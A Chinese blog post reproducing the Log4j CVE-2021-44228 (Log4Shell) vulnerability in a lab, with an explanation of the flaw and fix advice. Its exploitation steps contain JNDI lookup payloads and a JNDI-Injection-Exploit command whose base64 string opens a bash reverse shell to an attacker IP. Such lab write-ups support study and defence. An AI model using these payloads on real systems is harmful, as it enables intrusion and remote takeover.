LOG4J(CVE-2021-44228)-靶场复现

一、漏洞信息
1、log4j介绍:
Apache Log4j2是一款Java日志框架,大量应用于业务系统开发。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞(CVE-2021-44228)

2、漏洞原理:
①当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中,假如日志中含有该语句${jndi:rmi://4rujx1.dnslog.cn/bug},log4j就会去解析该信息。
②通过jndi的lookup()方法去解析该URL:jndi:rmi://4rujx1.dnslog.cn/bug,解析到rmi,就会去4rujx1.dnslog.cn的rmi服务找名为bug的资源,如果找不到就会去http服务中找。
③在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现bug是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害。

3、影响版本:
Apache Log4j2是一款使用非常广泛的Java日志框架。2021年12月9日,Apache Log4j2爆出存在远程代码执行漏洞,由于Apache Log4j2广泛地应用在各种Web程序中,该漏洞涉及用户量较大,危害性非常之高,漏洞影响版本为2.0~2.14.1。

二、漏洞复现
1.获取子域


2.构造payload

payload:${jndi:rmi://t5vpvk.dnslog.cn/exp}


3.在DNSlog网站点击刷新记录,既可以发现一条DNS查询的记录(这里可能存在一些延迟,需要一些时间等待)。发现存在记录的话,就说明存在cve-2021-44228漏洞。

4.使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具开启LDAP、HTTP服务。这里-A参数是开启LDAP、HTTP服务的ip地址。

payload:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zMy82NjY2IDA+JjEK}|{base64,-d}|{bash,-i}' -A 10.10.16.33 


5.kali使用nc开启监听

6.重新发送payload,url编码一下

7.成功获取到了shell

三、修复建议
1、将Apache Log4j所有相关应用到Apache Log4j 2.3.1版本。
2、过滤用户输入(ldap、rmi、dns)。
3、禁止log4j使用lookup方法。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值